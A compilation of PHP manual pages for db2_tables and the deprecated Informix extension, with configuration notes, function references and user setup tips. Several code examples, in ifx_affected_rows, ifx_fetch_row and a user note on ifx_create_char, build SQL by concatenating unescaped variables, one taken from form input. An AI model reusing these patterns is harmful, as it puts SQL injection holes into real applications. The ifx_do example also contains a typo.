There are no user contributed notes for this page.
db2_stmt_errormsg
db2_tables
IBM DB2 Functions


Returns a result set listing the tables and associated metadata in a database

db2_table_privileges
Informix
IBM DB2 Functions
PHP Manual

db2_tables

(PECL ibm_db2 >= 1.0.0)

db2_tables — Returns a result set listing the tables and associated metadata in a database

Description

resource db2_tables ( resource $connection [, string $qualifier [, string $schema [, string $table-name [, string $table-type ]]]] )

Returns a result set listing the tables and associated metadata in a database.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. This parameter accepts a search pattern containing _ and % as wildcards.

table-name

The name of the table. This parameter accepts a search pattern containing _ and % as wildcards.

table-type

A list of comma-delimited table type identifiers. To match all table types, pass NULL or an empty string. Valid table type identifiers include: ALIAS, HIERARCHY TABLE, INOPERATIVE VIEW, NICKNAME, MATERIALIZED QUERY TABLE, SYSTEM TABLE, TABLE, TYPED TABLE, TYPED VIEW, and VIEW.

Return Values

Returns a statement resource with a result set containing rows describing the tables that match the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | The catalog that contains the table. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema that contains the table.
TABLE_NAME | Name of the table.
TABLE_TYPE | Table type identifier for the table.
REMARKS | Description of the table.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database

User Contributed Notes

There are no user contributed notes for this page.
db2_table_privileges
Informix
IBM DB2 Functions


Informix

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Informix Functions
    • ifx_affected_rows — Get number of rows affected by a query
    • ifx_blobinfile_mode — Set the default blob mode for all select queries
    • ifx_byteasvarchar — Set the default byte mode
    • ifx_close — Close Informix connection
    • ifx_connect — Open Informix server connection
    • ifx_copy_blob — Duplicates the given blob object
    • ifx_create_blob — Creates an blob object
    • ifx_create_char — Creates an char object
    • ifx_do — Execute a previously prepared SQL-statement
    • ifx_error — Returns error code of last Informix call
    • ifx_errormsg — Returns error message of last Informix call
    • ifx_fetch_row — Get row as an associative array
    • ifx_fieldproperties — List of SQL fieldproperties
    • ifx_fieldtypes — List of Informix SQL fields
    • ifx_free_blob — Deletes the blob object
    • ifx_free_char — Deletes the char object
    • ifx_free_result — Releases resources for the query
    • ifx_get_blob — Return the content of a blob object
    • ifx_get_char — Return the content of the char object
    • ifx_getsqlca — Get the contents of sqlca.sqlerrd[0..5] after a query
    • ifx_htmltbl_result — Formats all rows of a query into a HTML table
    • ifx_nullformat — Sets the default return value on a fetch row
    • ifx_num_fields — Returns the number of columns in the query
    • ifx_num_rows — Count the rows already fetched from a query
    • ifx_pconnect — Open persistent Informix connection
    • ifx_prepare — Prepare an SQL-statement for execution
    • ifx_query — Send Informix query
    • ifx_textasvarchar — Set the default text mode
    • ifx_update_blob — Updates the content of the blob object
    • ifx_update_char — Updates the content of the char object
    • ifxus_close_slob — Deletes the slob object
    • ifxus_create_slob — Creates an slob object and opens it
    • ifxus_free_slob — Deletes the slob object
    • ifxus_open_slob — Opens an slob object
    • ifxus_read_slob — Reads nbytes of the slob object
    • ifxus_seek_slob — Sets the current file or seek position
    • ifxus_tell_slob — Returns the current file or seek position
    • ifxus_write_slob — Writes a string into the slob object

User Contributed Notes

There are no user contributed notes for this page.
db2_tables
Introduction
Vendor Specific Database Extensions


Introduction

The Informix driver for Informix (IDS) 7.x, SE 7.x, Universal Server (IUS) 9.x and IDS 2000 is implemented in "ifx.ec" and "php_informix.h" in the informix extension directory. IDS 7.x support is fairly complete, with full support for BYTE and TEXT columns. IUS 9.x support is partly finished: the new data types are there, but SLOB and CLOB support is still under construction.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.2.1.

User Contributed Notes

There are no user contributed notes for this page.
Informix
Installing/Configuring
Informix


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Informix


Requirements

Note: Configuration notes

You need a version of ESQL/C to compile the PHP Informix driver. ESQL/C versions from 7.2x on should be OK. ESQL/C is now part of the Informix Client SDK.

Make sure that the "INFORMIXDIR" variable has been set, and that $INFORMIXDIR/bin is in your PATH before you run the "configure" script.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

To be able to use the functions defined in this module you must compile your PHP interpreter using the configure line --with-informix[=DIR] , where DIR is the Informix base install directory, defaults to nothing.

User Contributed Notes

shotsheep at 163 dot com 16-Nov-2009 09:57
For windows , apache server, php connect informix.
I have try 4 days and finally success with it.
My php env is apache 2.0, php 5.2, informix 09.40

1) download php_ifx.dll from php home page （search with pecl-5.2 Win32）, put php_ifx.dll in your php extension dir , in my case c:\php\ext .
2) in php.ini add follows :
extension=php_ifx.dll
3) download informix cdsk 3.0TC for windows from ibm, install it and then run your php app which has informix connect operation, if apache server has a error dialog, then restart computer(because installation add a system variable path : C:\Program Files\IBM\Informix\Client-SDK\bin), after restart confirm this error not occure again. (in this step php page finally error  with "sqlstate = IX 000 sqlcode= -25560" because of informix server not set, we will solute it in next step)
4) run C:\Program Files\IBM\Informix\Client-SDK\bin\setnet32.exe change the values by following
    4)-1 Tab Server Information
        IBM Informix Server : informix server name
        HostName : informix  server ip address
        Protocolname : onsoctcp
        ServiceName : informix server port

    4)-2 Host Information
        Current Host : informix  server ip address
    then click OK
5) run your php app, then you can do any ifx_xxxxx informix db operation. (in windows apache env don't mind INFORMIXDIR var ect...)
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Note:

Make sure that the Informix environment variables INFORMIXDIR and INFORMIXSERVER are available to the PHP ifx driver, and that the INFORMIX bin directory is in the PATH. Check this by running a script that contains a call to phpinfo() before you start testing. The phpinfo() output should list these environment variables. This is true for both CGI php and Apache mod_php. You may have to set these environment variables in your Apache startup script.

The Informix shared libraries should also be available to the loader (check LD_LIBRARY_PATH or ld.so.conf/ldconfig).

Note: Some notes on the use of BLOBs (TEXT and BYTE columns)

BLOBs are normally addressed by BLOB identifiers. Select queries return a "blob id" for every BYTE and TEXT column. You can get at the contents with "string_var = ifx_get_blob($blob_id);" if you choose to get the BLOBs in memory (with: "ifx_blobinfile(0);"). If you prefer to receive the content of BLOB columns in a file, use "ifx_blobinfile(1);", and "ifx_get_blob($blob_id);" will get you the filename. Use normal file I/O to get at the blob contents.

For insert/update queries you must create these "blob id's" yourself with "ifx_create_blob();". You then plug the blob id's into an array, and replace the blob columns with a question mark (?) in the query string. For updates/inserts, you are responsible for setting the blob contents with ifx_update_blob().

The behaviour of BLOB columns can be altered by configuration variables that also can be set at runtime:

configuration variable: ifx.textasvarchar

configuration variable: ifx.byteasvarchar

runtime functions:

ifx_textasvarchar(0): use blob id's for select queries with TEXT columns

ifx_byteasvarchar(0): use blob id's for select queries with BYTE columns

ifx_textasvarchar(1): return TEXT columns as if they were VARCHAR columns, so that you don't need to use blob id's for select queries.

ifx_byteasvarchar(1): return BYTE columns as if they were VARCHAR columns, so that you don't need to use blob id's for select queries.

configuration variable: ifx.blobinfile

runtime function:

ifx_blobinfile_mode(0): return BYTE columns in memory, the blob id lets you get at the contents.

ifx_blobinfile_mode(1): return BYTE columns in a file, the blob id lets you get at the file name.

If you set ifx_text/byteasvarchar to 1, you can use TEXT and BYTE columns in select queries just like normal (but rather long) VARCHAR fields. Since all strings are "counted" in PHP, this remains "binary safe". It is up to you to handle this correctly. The returned data can contain anything, you are responsible for the contents.

If you set ifx_blobinfile to 1, use the file name returned by ifx_get_blob(..) to get at the blob contents. Note that in this case YOU ARE RESPONSIBLE FOR DELETING THE TEMPORARY FILES CREATED BY INFORMIX when fetching the row. Every new row fetched will create new temporary files for every BYTE column.

The location of the temporary files can be influenced by the environment variable "blobdir", default is "." (the current directory). Something like: putenv(blobdir=tmpblob"); will ease the cleaning up of temp files accidentally left behind (their names all start with "blb").

Note: Automatically trimming "char" (SQLCHAR and SQLNCHAR) data

This can be set with the configuration variable

ifx.charasvarchar: if set to 1 trailing spaces will be automatically trimmed, to save you some "chopping".

Note: NULL values

The configuration variable ifx.nullformat (and the runtime function ifx_nullformat()) when set to TRUE will return NULL columns as the string "NULL", when set to FALSE they return the empty string. This allows you to discriminate between NULL columns and empty columns.

Informix configuration options
Name | Default | Changeable | Changelog
ifx.allow_persistent | "1" | PHP_INI_SYSTEM | Removed in PHP 5.2.1.
ifx.max_persistent | "-1" | PHP_INI_SYSTEM | Removed in PHP 5.2.1.
ifx.max_links | "-1" | PHP_INI_SYSTEM | Removed in PHP 5.2.1.
ifx.default_host | NULL | PHP_INI_SYSTEM | Removed in PHP 5.2.1.
ifx.default_user | NULL | PHP_INI_SYSTEM | Removed in PHP 5.2.1.
ifx.default_password | NULL | PHP_INI_SYSTEM | Removed in PHP 5.2.1.
ifx.blobinfile | "1" | PHP_INI_ALL | Removed in PHP 5.2.1.
ifx.textasvarchar | "0" | PHP_INI_ALL | Removed in PHP 5.2.1.
ifx.byteasvarchar | "0" | PHP_INI_ALL | Removed in PHP 5.2.1.
ifx.charasvarchar | "0" | PHP_INI_ALL | Removed in PHP 5.2.1.
ifx.nullformat | "0" | PHP_INI_ALL | Removed in PHP 5.2.1.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

ifx.allow_persistent boolean

Whether to allow persistent Informix connections.

ifx.max_persistent integer

The maximum number of persistent Informix connections per process.

ifx.max_links integer

The maximum number of Informix connections per process, including persistent connections.

ifx.default_host string

The default host to connect to when no host is specified in ifx_connect() or ifx_pconnect(). Doesn't apply in safe mode.

ifx.default_user string

The default user id to use when none is specified in ifx_connect() or ifx_pconnect(). Doesn't apply in safe mode.

ifx.default_password string

The default password to use when none is specified in ifx_connect() or ifx_pconnect(). Doesn't apply in safe mode.

ifx.blobinfile boolean

Set to TRUE if you want to return blob columns in a file, FALSE if you want them in memory. You can override the setting at runtime with ifx_blobinfile_mode().

ifx.textasvarchar boolean

Set to TRUE if you want to return TEXT columns as normal strings in select statements, FALSE if you want to use blob id parameters. You can override the setting at runtime with ifx_textasvarchar().

ifx.byteasvarchar boolean

Set to TRUE if you want to return BYTE columns as normal strings in select queries, FALSE if you want to use blob id parameters. You can override the setting at runtime with ifx_textasvarchar().

ifx.charasvarchar boolean

Set to TRUE if you want to trim trailing spaces from CHAR columns when fetching them.

ifx.nullformat boolean

Set to TRUE if you want to return NULL columns as the literal string "NULL", FALSE if you want them returned as the empty string "". You can override this setting at runtime with ifx_nullformat().

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

IFX_SCROLL (integer)
IFX_HOLD (integer)
IFX_LO_RDONLY (integer)
IFX_LO_WRONLY (integer)
IFX_LO_APPEND (integer)
IFX_LO_RDWR (integer)
IFX_LO_BUFFER (integer)
IFX_LO_NOBUFFER (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Informix Functions
Informix


Informix Functions

Table of Contents

  • ifx_affected_rows — Get number of rows affected by a query
  • ifx_blobinfile_mode — Set the default blob mode for all select queries
  • ifx_byteasvarchar — Set the default byte mode
  • ifx_close — Close Informix connection
  • ifx_connect — Open Informix server connection
  • ifx_copy_blob — Duplicates the given blob object
  • ifx_create_blob — Creates an blob object
  • ifx_create_char — Creates an char object
  • ifx_do — Execute a previously prepared SQL-statement
  • ifx_error — Returns error code of last Informix call
  • ifx_errormsg — Returns error message of last Informix call
  • ifx_fetch_row — Get row as an associative array
  • ifx_fieldproperties — List of SQL fieldproperties
  • ifx_fieldtypes — List of Informix SQL fields
  • ifx_free_blob — Deletes the blob object
  • ifx_free_char — Deletes the char object
  • ifx_free_result — Releases resources for the query
  • ifx_get_blob — Return the content of a blob object
  • ifx_get_char — Return the content of the char object
  • ifx_getsqlca — Get the contents of sqlca.sqlerrd[0..5] after a query
  • ifx_htmltbl_result — Formats all rows of a query into a HTML table
  • ifx_nullformat — Sets the default return value on a fetch row
  • ifx_num_fields — Returns the number of columns in the query
  • ifx_num_rows — Count the rows already fetched from a query
  • ifx_pconnect — Open persistent Informix connection
  • ifx_prepare — Prepare an SQL-statement for execution
  • ifx_query — Send Informix query
  • ifx_textasvarchar — Set the default text mode
  • ifx_update_blob — Updates the content of the blob object
  • ifx_update_char — Updates the content of the char object
  • ifxus_close_slob — Deletes the slob object
  • ifxus_create_slob — Creates an slob object and opens it
  • ifxus_free_slob — Deletes the slob object
  • ifxus_open_slob — Opens an slob object
  • ifxus_read_slob — Reads nbytes of the slob object
  • ifxus_seek_slob — Sets the current file or seek position
  • ifxus_tell_slob — Returns the current file or seek position
  • ifxus_write_slob — Writes a string into the slob object

User Contributed Notes

roger at wzero dot com dot br 01-Mar-2007 06:41
Unfortunately the informix extension has been moved to PECL but has no maintainer.
http://devzone.zend.com/node/view/id/1621#Heading11

In practic terms, it has been moved but is not available in PECL yet.

It's sad. I have a big client who uses this extension for more than 6 years and now has to change a code base of 500,000 lines of code or install an old version of PHP in the new server. They recently bought a redundant, double cpu, 8 gb ram, scsi disk server and will not be happy to run old versions of software with unmaintained extensions.
HowY 09-Feb-2007 08:58
One very frustrating experience with interfacing
Informix and unixODBC (on RHEL4 - PHP 5.20)
was the constant Informix error:
[SQLSTATE=IX 001 SQLCODE=-1829]
Unable to load locale categories
& the non existant handles from unixODBC calls.

This is an issue of the environment being set correctly
which I thought was - phpinfo() reported that the apache
environment was correct <_server=> I even went as far as
to Put/Setenv in httpd.conf.
The hint is in the php 'environment' block
 - it did not contain the env strings.

The fix was to insert the environment strings in the httpd
start-up script (/etc/init.d/httpd) which pushed the
 environment correctly when the server starts up.

Hope to save someone else the hours....
Ian McMurray 15-Apr-2005 01:02
Installation on RedHat Fedore Core (or in that matter any Linux OS which has a version of glibc  of 2.3.* ~or above~) will need to have the latest Informix CSDK (downloadable from IBM). 2.90.UC1.LINUX at the time of this post.

http://www-306.ibm.com/software/data/informix/tools/connect/

I was unable to make PHP with v2.80 of the csdk (as it complained about mktemp being dangerous and how ctype was undefined. After downloading csdk 2.90, I was able to make PHP with no problems at all. (--with-informix).

There goes 2 days of my life!

Feel free to drop me an email at ian_at_devtonic_dot_com if you have any questions.
drsound 31-Oct-2004 10:20
I just wrote a mini-HOWTO about adding Informix support to mod_php running on a Gentoo Linux server (x86). I wanted to post it here but it was too long. You can find it on http://forums.gentoo.org/viewtopic.php?t=245249 (just in case for some reason they change the thread number, the title is "HOWTO: PHP Informix client support").
jeff at domintcom dot com 26-Oct-2002 11:06
add the following to /etc/profile (right before unset i (adjust to your needs)

export INFORMIXDIR=/opt/informix
export ODBCINI=/usr/local/etc/odbc.ini
export INFORMIXSERVER=m_srv

then add the following to your httpd.conf

PassEnv INFORMIXDIR
PassEnv ODBCINI
PassEnv INFORMIXSERVER

(or you can use SetEnv SetEnv INFORMIXDIR /opt/informix  etc.)
cornecNOSPAM at reach dot NO_SPAM dot com 15-Oct-2002 08:14
I upgraded to csdk-2.70.UC3-1 and got the following error when trying to start apache:

Syntax error on line 205 of /usr/local/apache/conf/httpd.conf:
Cannot load /usr/local/apache/libexec/libphp4.so into server: /opt/informix/lib/esql/libifgen.so: undefined symbol: stat
/usr/local/apache/bin/apachectl start: httpd could not be started

This machine has glibc 2.3.5

The following fixed the problem for me (surely there's a better fix) but i'm not sure how it might affect other programs linked to libifgen

mkdir /tmp/ifx
cd /tmp/ifx
ar x $INFORMIXDIR/lib/esql/libifgen.a
gcc -shared -o libifgen.so *.o
cp libifgen.so $INFORMIXDIR/lib/esql
programacion at afinformatica dot com 27-May-2002 07:38
I have compile php-4.0.6 with informix support (dynamic) and when I try to
start apache, it gives me this error message:

Syntax error on line 246 of /etc/httpd/httpd.conf:
Cannot load /usr/lib/apache/libphp4.so into server: /home/informix7/lib/esql/lib
ifgen.so: undefined symbol: stat
/usr/sbin/apachectl start: httpd could not be started
isaac dot hopley at morton-fraser dot NO_SPAM dot com 15-Nov-2001 04:54
If you are tring to access an Informix Online 5.x server over the
network (ie from a webserver) using PHP, be aware that Online
doesn't support network communications as standard unlike later versions.

You need the Informix product 'I-Star' on your Online server.
This will allow your webserver with the informix client SDK
installed to communicate natively (ESQL).

Thanks go to Mario @ PRS for this info.
old dot wolf at project-w dot com 26-Jul-2001 11:40
An intermittent SQL error -25580 is caused by using the wrong glibc version in Linux.

I have this working correctly in Linux (x86) with Informix Client SDK for 2.70UC-1 for Linux, with glibc 2.1.3.

Originally I had glibc 2.1.1 (Red Hat 6), which gave the intermittent error, but upgrading glibc fixed it.

The Informix Client SDKs can be downloaded from www.informix.com (you need to own an Informix database to log on), and glibc is at ftp://ftp.gnu.org/gnu/glibc .
MarkRoedel at letu dot edu 02-Mar-2001 04:19
There's also a FreeBSD version of the client libraries that'll work with PHP.  It's not available for download from their website, but you can request a copy (cd or electronic delivery) by calling Informix Customer Support at 1-800-274-8184 option 3.

Some customer service reps know more about alternative operating systems than others, so you may have to do a bit of educating before they can locate the product in their database, but it's definitely there.

My e-mail confirmation referred to it as "Orderable Part Number 100-15871-204057-1", although that number may be specific to the electronically-delivered edition.
robernet at music-images dot com 26-Sep-2000 07:29
Verify with phpinfo() that you have informix module compiled in php.
Also verify that env vars INFORMIXDIR, INFORMIXSERVER, LD_LIBRARY_PATH are set, and that PATH have a route to your informix subdir.
Predefined Constants
ifx_affected_rows
Informix


Get number of rows affected by a query

Informix Functions
ifx_blobinfile_mode
Informix Functions
PHP Manual

ifx_affected_rows

(PHP 4, PHP <=5.2.0)

ifx_affected_rows — Get number of rows affected by a query

Description

int ifx_affected_rows ( resource $result_id )

Returns the number of rows affected by a query associated with result_id.

For inserts, updates and deletes the number is the real number (sqlerrd[2]) of affected rows. For selects it is an estimate (sqlerrd[0]). Don't rely on it. The database server can never return the actual number of rows that will be returned by a SELECT because it has not even begun fetching them at this stage (just after the "PREPARE" when the optimizer has determined the query plan).

Useful after ifx_prepare() to limit queries to reasonable result sets.

Parameters

result_id

A valid result id returned by ifx_query() or ifx_prepare().

Return Values

Returns the number of rows as an integer.

Examples

Example #1 Informix affected rows

<?php
$rid = ifx_prepare("select * from emp
                     where name like " . $name, $connid);
if (! $rid) {
    /* ... error ... */
}
$rowcount = ifx_affected_rows($rid);
if ($rowcount > 1000) {
    printf ("Too many rows in result set (%d)\n<br />", $rowcount);
    die ("Please restrict your query<br />\n");
}
?>

See Also

  • ifx_num_rows() - Count the rows already fetched from a query

User Contributed Notes

There are no user contributed notes for this page.
Informix Functions
ifx_blobinfile_mode
Informix Functions


Set the default blob mode for all select queries

ifx_affected_rows
ifx_byteasvarchar
Informix Functions
PHP Manual

ifx_blobinfile_mode

(PHP 4, PHP <=5.2.0)

ifx_blobinfile_mode — Set the default blob mode for all select queries

Description

bool ifx_blobinfile_mode ( int $mode )

Set the default blob mode for all select queries.

Parameters

mode

Mode "0" means save Byte-Blobs in memory, and mode "1" means save Byte-Blobs in a file.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ifx_affected_rows
ifx_byteasvarchar
Informix Functions


Set the default byte mode

ifx_blobinfile_mode
ifx_close
Informix Functions
PHP Manual

ifx_byteasvarchar

(PHP 4, PHP <=5.2.0)

ifx_byteasvarchar — Set the default byte mode

Description

bool ifx_byteasvarchar ( int $mode )

Sets the default byte mode for all select-queries.

Parameters

mode

Mode "0" will return a blob id, and mode "1" will return a varchar with text content.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_textasvarchar() - Set the default text mode

User Contributed Notes

There are no user contributed notes for this page.
ifx_blobinfile_mode
ifx_close
Informix Functions


Close Informix connection

ifx_byteasvarchar
ifx_connect
Informix Functions
PHP Manual

ifx_close

(PHP 4, PHP <=5.2.0)

ifx_close — Close Informix connection

Description

bool ifx_close ([ resource $link_identifier ] )

ifx_close() closes the link to an Informix database that's associated with the specified link identifier.

Note that this isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution.

ifx_close() will not close persistent links generated by ifx_pconnect().

Parameters

link_identifier

The link identifier. If not specified, the last opened link is assumed.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Closing a Informix connection

<?php
$conn_id = ifx_connect ("mydb@ol_srv", "itsme", "mypassword");
/* ... some queries and stuff ... */
ifx_close($conn_id);
?>

See Also

  • ifx_connect() - Open Informix server connection
  • ifx_pconnect() - Open persistent Informix connection

User Contributed Notes

There are no user contributed notes for this page.
ifx_byteasvarchar
ifx_connect
Informix Functions


Open Informix server connection

ifx_close
ifx_copy_blob
Informix Functions
PHP Manual

ifx_connect

(PHP 4, PHP <=5.2.0)

ifx_connect — Open Informix server connection

Description

resource ifx_connect ([ string $database [, string $userid [, string $password ]]] )

ifx_connect() establishes a connection to an Informix server.

In case a second call is made to ifx_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling ifx_close().

Parameters

All of the arguments are optional, and if they're missing, defaults are taken from values supplied in php.ini (ifx.default_host for the host (Informix libraries will use INFORMIXSERVER environment value if not defined), ifx.default_user for user, ifx.default_password for the password (none if not defined).

database

The database name, as a string.

userid

The username, as a string.

password

The password, as a string.

Return Values

Returns a connection identifier on success, or FALSE on error.

Examples

Example #1 Connect to a Informix database

<?php
$conn_id = ifx_connect ("mydb@ol_srv1", "imyself", "mypassword");
?>

See Also

  • ifx_pconnect() - Open persistent Informix connection
  • ifx_close() - Close Informix connection

User Contributed Notes

mohd dot chehab at e-medlinks dot com 31-Mar-2011 03:57
Here's a tip :

When i first installed the informix through the removing the ; at php_ifx.dll and then restarted apache

then checking the phpinfo(); the connection wasn't established and i had this error that i have to set the INFORMIXSERVER.

Work Frame : Windows XP,Apache 2.2.1 php 5.3 The ODBC was working fine and i could connect to the informix server using the odbc connection

The problem is that the sql engine was on another machine with different platform.

[SOLUTION]

add an environmental variable called INFORMIXSERVER with the value of the server e.g myInformixServer which itself has an ip 192.x.x.x

You can do that on windows by right click on my computer advanced >> environmental variables >> add new System variable >> variable name = INFORMIXSERVER
variable value = myInformixServer

it worked like a charm
bernd dot newman at t-online dot de 11-Apr-2003 03:00
Problem with INFORMIX-Access with PHP4, WIN NT 4.0?

1. php.ini: extension=php_ifx.dll
2. Path: Informix/BIN
3. httpd.conf: PassEnv INFORMIXSERVER
                    PassEnv INFORMIXDIR
4. use the Informix-tool regcopy.exe to copy the registry settings in the system-account.

good luck!
ifx_close
ifx_copy_blob
Informix Functions


Duplicates the given blob object

ifx_connect
ifx_create_blob
Informix Functions
PHP Manual

ifx_copy_blob

(PHP 4, PHP <=5.2.0)

ifx_copy_blob — Duplicates the given blob object

Description

int ifx_copy_blob ( int $bid )

Duplicates the given blob object.

Parameters

bid

A BLOB identifier.

Return Values

Returns the new blob object-id, or FALSE on errors.

See Also

  • ifx_create_blob() - Creates an blob object
  • ifx_free_blob() - Deletes the blob object

User Contributed Notes

There are no user contributed notes for this page.
ifx_connect
ifx_create_blob
Informix Functions


Creates an blob object

ifx_copy_blob
ifx_create_char
Informix Functions
PHP Manual

ifx_create_blob

(PHP 4, PHP <=5.2.0)

ifx_create_blob — Creates an blob object

Description

int ifx_create_blob ( int $type , int $mode , string $param )

Creates a blob object.

Parameters

type

1 = TEXT, 0 = BYTE

mode

0 = blob-object holds the content in memory, 1 = blob-object holds the content in file.

param

if mode = 0: pointer to the content, if mode = 1: pointer to the filestring.

Return Values

Returns the new BLOB object-id, or FALSE on errors.

See Also

  • ifx_copy_blob() - Duplicates the given blob object
  • ifx_free_blob() - Deletes the blob object

User Contributed Notes

mazza at radiumsystems dot com dot br 17-May-2000 02:51
How To ifx_create_blob():

<?php
//1st call it and put result into an array
$blobs[] = ifx_create_blob($type, $mode, $data);
//do it as many times as needed
//then you use it to call ifx_query
ifx_query($stmt, $conn, $cursor, $blobs);
?>
ifx_copy_blob
ifx_create_char
Informix Functions


Creates an char object

ifx_create_blob
ifx_do
Informix Functions
PHP Manual

ifx_create_char

(PHP 4, PHP <=5.2.0)

ifx_create_char — Creates an char object

Description

int ifx_create_char ( string $param )

Creates an char object.

Parameters

param

The char content.

Return Values

Returns the new char object id, or FALSE on errors.

See Also

  • ifx_free_char() - Deletes the char object

User Contributed Notes

evandrosimenes at gmail dot com 11-Apr-2011 08:18
Example of ifx_create_char use:
i'd a problem with textarea content, the informix server was returning the -282 error code: Found a quote for which there is no matching quote...

This was the solution for me...i hope it can help someone else having this problem:

<?php
$textarea = $_POST[textarea];
$char = ifx_create_char($textarea);
$txt[] = $char;
$query = 'INSERT INTO <table> (id, title, status, content) VALUES (0,"'.$title.'","'.$status.'",?)';
if (!($execute = ifx_query($query,$conn_id,$txt))){
   echo "Error on insert...".ifx_error();
} else {
   echo "<script>alert('Success');</script>";
}
?>
ifx_create_blob
ifx_do
Informix Functions


Execute a previously prepared SQL-statement

ifx_create_char
ifx_error
Informix Functions
PHP Manual

ifx_do

(PHP 4, PHP <=5.2.0)

ifx_do — Execute a previously prepared SQL-statement

Description

bool ifx_do ( resource $result_id )

Executes a previously prepared query or opens a cursor for it.

Does NOT free result_id on error.

Also sets the real number of ifx_affected_rows() for non-select statements for retrieval by ifx_affected_rows().

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

Example #1 ifx_do() Example

<?php
$conn = fx_connect( "db", "user", "password" );
$result = ifx_prepare("SELECT customer_num, company FROM customer", $conn);
ifx_do($result);
?>

See Also

  • ifx_prepare() - Prepare an SQL-statement for execution

User Contributed Notes

There are no user contributed notes for this page.
ifx_create_char
ifx_error
Informix Functions


Returns error code of last Informix call

ifx_do
ifx_errormsg
Informix Functions
PHP Manual

ifx_error

(PHP 4, PHP <=5.2.0)

ifx_error — Returns error code of last Informix call

Description

string ifx_error ([ resource $link_identifier ] )

Returns in a string one character describing the general results of a statement and both SQLSTATE and SQLCODE associated with the most recent SQL statement executed.

Parameters

link_identifier

The link identifier.

Return Values

The Informix error codes (SQLSTATE & SQLCODE) formatted as x [SQLSTATE = aa bbb SQLCODE=cccc].

where x = space : no error

E : error

N : no more data

W : warning

? : undefined

If the "x" character is anything other than space, SQLSTATE and SQLCODE describe the error in more detail.

See the Informix manual for the description of SQLSTATE and SQLCODE

See Also

  • ifx_errormsg() - Returns error message of last Informix call

User Contributed Notes

There are no user contributed notes for this page.
ifx_do
ifx_errormsg
Informix Functions


Returns error message of last Informix call

ifx_error
ifx_fetch_row
Informix Functions
PHP Manual

ifx_errormsg

(PHP 4, PHP <=5.2.0)

ifx_errormsg — Returns error message of last Informix call

Description

string ifx_errormsg ([ int $errorcode ] )

Returns the Informix error message associated with the most recent Informix error.

Parameters

errorcode

If specified, the function will return the message corresponding to the specified code.

Return Values

Return the error message, as a string.

Examples

Example #1 ifx_errormsg() example

<?php
printf("%s\n<br>", ifx_errormsg(-201));
?>

See Also

  • ifx_error() - Returns error code of last Informix call

User Contributed Notes

monts at netcabo dot pt 29-Mar-2005 03:03
The support for message-strings send by triggers is not implemented.

The common error send by triggers is the -746.
In the sqlerrm is the message for the error returned from a trigger.

This driver does not take this in mind.

Sorry for my bad english...

J. Montenegro
sven at sveni dot com 04-Feb-2005 04:45
Nice function to call. Very helpfull if you want to use in combination with an own ErrorHandler. But informix error recognition seems just to work directly after calling a informix function.

/**
 * checks weater error has occured or not
 * @return false if no error, else error message
 */
function db_error_occured()
{
    $err_code = ifx_error();
    if (substr($err_code,0,1) != ' ') {
        return ifx_errormsg();
    }
    else {
        return false;
    }
} //db_error_occured
ifx_error
ifx_fetch_row
Informix Functions


Get row as an associative array

ifx_errormsg
ifx_fieldproperties
Informix Functions
PHP Manual

ifx_fetch_row

(PHP 4, PHP <=5.2.0)

ifx_fetch_row — Get row as an associative array

Description

array ifx_fetch_row ( resource $result_id [, mixed $position ] )

Fetches one row of data from the result associated with the specified result identifier.

Subsequent calls to ifx_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

position

An optional parameter for a "fetch" operation on "scroll" cursors: NEXT, PREVIOUS, CURRENT, FIRST, LAST or a number. If you specify a number, an "absolute" row fetch is executed. This parameter is optional, and only valid for SCROLL cursors.

Return Values

Returns an associative array that corresponds to the fetched row, or FALSE if there are no more rows.

Blob columns are returned as integer blob id values for use in ifx_get_blob() unless you have used ifx_textasvarchar(1) or ifx_byteasvarchar(1), in which case blobs are returned as string values.

Examples

Example #1 Informix fetch rows

<?php
$rid = ifx_prepare ("select * from emp where name like " . $name,
                     $connid, IFX_SCROLL);
if (! $rid) {
    /* ... error ... */
}
$rowcount = ifx_affected_rows($rid);
if ($rowcount > 1000) {
    printf ("Too many rows in result set (%d)\n<br />", $rowcount);
    die ("Please restrict your query<br />\n");
}
if (! ifx_do ($rid)) {
   /* ... error ... */
}
$row = ifx_fetch_row ($rid, "NEXT");
